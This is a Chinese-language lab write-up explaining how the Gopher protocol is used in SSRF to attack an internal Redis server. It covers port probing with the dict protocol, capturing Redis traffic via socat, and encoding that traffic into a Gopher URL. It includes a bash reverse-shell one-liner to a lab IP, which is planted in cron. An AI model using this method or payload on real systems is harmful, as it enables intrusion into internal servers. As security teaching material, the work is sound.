Gopher協(xié)議在SSRF中的應用
Gopher協(xié)議
Gopher?協(xié)議是一種通信協(xié)議?,用于在Internet 協(xié)議網絡中分發(fā)、搜索和檢索文檔。Gopher 協(xié)議和用戶界面的設計是菜單驅動的,并在早期階段提出了萬維網?的替代方案,但最終不受歡迎,讓位于HTTP。Gopher 生態(tài)系統(tǒng)通常被認為是萬維網的有效前身。
Gopher協(xié)議的格式
- 發(fā)起POST請求時,回車換行需要使用%0d%0a?代替,結尾也要加上%0d%0a
- 參數(shù)之間的&需要進行URL編碼
- 參數(shù)以_開頭 ,否則第一個字符會被吞掉
支持Gopher協(xié)議的環(huán)境
- PHP —write-curlwrappers且PHP版本至少為5.3
- Java 小于JDK1.7
- Curl 低版本不支持
- Perl 支持
- ASP.NET 小于版本3
為什么要使用Gopher協(xié)議
在思考這個問題的時候我們可以看見這樣的答案:
Gopher協(xié)議支持發(fā)出GET、POST請求:可以先截獲get請求包和post請求包,在構成符合Gopher協(xié)議的請求。Gopher協(xié)議是SSRF利用中最強大的協(xié)議。
這個答案有問題嗎?沒有問題。看完這個答案知道為什么要使用Gopher了嗎?貌似還是不太清楚:
因為他強大所以使用它?那我們?yōu)槭裁床豢梢允褂胔ttp?等,而且說到底,Gopher畢竟是一個已經被淘汰的協(xié)議,為什么非要使用這個協(xié)議,好像并沒有這方面的答案。
到底為什么使用Gopher
我總結的話,就一句話:支持多種協(xié)議且靈活,或者也可以說其沒有固定的格式要遵守(這里所謂的格式指的是數(shù)據(jù)包的格式,必須HTTP數(shù)據(jù)包中必須攜帶哪些參數(shù))。
我們做這樣一個實驗,在一臺虛擬機上通過nc?監(jiān)視3333?端口,然后分別通過http?協(xié)議和gopher協(xié)議去訪問這個端口:
- http://172.16.12.155:3333/abc
那么此時對端收到的是(我們通過curl?請求)帶有?HTTP?的請求包格式:有可能會說比如說UA什么的完全可以不帶,但是GET的請求包頭是一定要有的吧!
gopher://172.16.12.155:3333/_abc(遵守gopher的格式)。
再來看使用gopher協(xié)議收到的數(shù)據(jù)
沒有任何的附加數(shù)據(jù)。
我們通過抓包再來看一下
我們可以清楚的看見除了前4層的數(shù)據(jù)和abc外沒有任何的額外的數(shù)據(jù)。
為什么SSRF中常配合Gopher協(xié)議
我們以Redis產生的SSRF為例(后面會具體描述),由于Gopher傳輸?shù)臄?shù)據(jù)是沒有任何額外數(shù)據(jù)的,這樣的好處非常的明顯,在我們請求6379端口時,除了我們構造的redis格式的數(shù)據(jù)外,將不會產生任何Redis無法識別的額外數(shù)據(jù),從而可以保證Redis順利執(zhí)行我們構造的語句,很顯然HTTP做不到這一點。
所以這也提醒了我們,Gopher?協(xié)議除了應用于攻擊內網的Redis?服務器,還有FTP等等服務器也可以嘗試,而且拓展來看Gopher協(xié)議甚至可以用來寫入一句話。
實驗
使用SSRF結合Gopher?協(xié)議攻擊內網的Redis服務器。
分析
實驗目的
我們最終的實驗目的是要拿到目標Redis?主機的Shell?,要完成這一目標需要多條Redis語句相配合,我們當然可以通過Gopher?協(xié)議一條一條的傳遞,但這樣會非常的繁瑣,所以我們決定現(xiàn)在本地搭建相同版本的Redis?服務器,并抓包獲取到Redis格式的報文,最后直接拼接到Gopher語句中一并傳給被攻擊服務器即可完成攻擊。
版本信息
redis-stack-server-6.2.4-v2.rhel8.x86_64
新版的Redis服務器增加了防御機制,未成功
所需工具
- redis-cli連接Redis服務器
- nc接受反彈shell
- socat代理轉發(fā)
實驗架構
由于內網的Redis?服務器,是不出網的(或者說其防火墻限制只有內網的主機可以訪問),所以我們只能通過一臺處于內外網邊界的具有SSRF?漏洞的主機來訪問該Redis服務器。
由于處于實驗環(huán)境中,我們就通過主機添加防火墻策略來阻止除”內網”限定主機以外訪問,形成簡單的內外隔離。
此時雖然處于同一網段,但我們在Redis服務器上添加了如下策略:
從而禁止除172.16.12.151服務器以外其他服務器訪問的請求,這樣就形成了我們簡單的內網的概念。
實驗的步驟
對目標主機的探測
首先我們要對這臺存在著SSRF漏洞的主機進行探測,首先看其URL的組成:
http://172.16.12.151:89/ssrf.php?url=
通過拼接www.baidu.com發(fā)現(xiàn)其可以正常訪問百度,所以懷疑此處出現(xiàn)SSRF漏洞,接下來嘗試其能不能訪問內網的主機。
為了探測主機哪些端口開放,我們嘗試用Burp通過不斷改變端口值,來進行一個簡單的探測,在這之前我先拼接了一下:
http://172.16.12.151:89/ssrf.php?url=172.16.12.136:80
并沒有任何回顯,所以為了準確的驗證我們訪問的端口是否開啟,決定使用 dict協(xié)議。
dict協(xié)議又稱在線網絡字典協(xié)議。通過 dict協(xié)議,可以遠程訪問一個指定的 TCP 端口,并且會返回端口所提供的服務的部分組件信息當目標端口開放(有服務信息顯示,但會報錯)。
接下來通過Burp的Intruder模塊來驗證一些基本端口服務是否開放。
可以看出目標主機的6379``22號端口是開放的。
有了該信息就可以開始利用該漏洞啦。
本地捕獲攻擊流量
由于對端是6379?端口也就是redis?服務的端口,所以我們接下來向該端口傳輸?shù)臄?shù)據(jù)必須是redis?規(guī)定的格式,這時候我們可以查找redis?報文格式的文檔構造其報文,但那樣過于繁瑣,所以我們直接在本地另外一臺服務器上搭建redis?服務**,通過在本地連接這臺redis?服務器,并向其發(fā)送攻擊時所要發(fā)送的redis?命令從而獲取其流量報文,最終再配合Gopher協(xié)議完成傳輸即可。
可成功訪問我們自己搭建的redis服務器
自己搭建的redis服務器IP:172.16.12.155
接下來,在本地KALI機上為了準確的獲取redis?的流量報文,我們使用socat對流量進行代理轉發(fā)
socat -v tcp-listen:6379,fork tcp-connect:172.16.12.155:6379
大功告成,接下來我們只要redis-cli -h localhost?就可以讓連接172.16.12.155:6379流量走本地的代理啦。
反彈shell
我們最終的目的是反彈一個目標主機的shell?到我們本地,我們可以將下面的語句寫入到目標主機的cron中從而加入計劃任務,定時反連本主機
bash -i >&/dev/tcp/172.16.12.150/3333 0>&1
為了完成該目的我們需要做兩個準備:
1.在本地開啟監(jiān)聽端口3333
2.利用上面搭建的本地redis?環(huán)境將攻擊需要的redis?指令流量捕獲并通過Gopher?協(xié)議發(fā)給有SSRF漏洞的主機從而穿透發(fā)給我們要反彈shell的那臺內網主機。為了在目標主機的?cron?中寫入計劃任務,需要以下redis命令:
然后轉到socat?的界面,我們就獲得了redis數(shù)據(jù)包流量。
由于Gopher及URL編碼等一些格式的限制,我們需要對上述報文進行一定的處理,最終轉為:
可借助 python 腳本實現(xiàn)。
* 去掉> <后的一些時間、長度等描述信息。
- * 如果該行只有\(zhòng)r?,將\r?替換成%0a%0d%0a?,否則將\r?替換為%0d%0a?
- *??轉碼為URL編碼%3f?* 去掉最后的換行符\n
- * 判斷是否是空行,空行替換為%0a
至此流量捕獲完畢,我們就可以通過URL直接發(fā)給存在SSRF的主機了。
反彈成功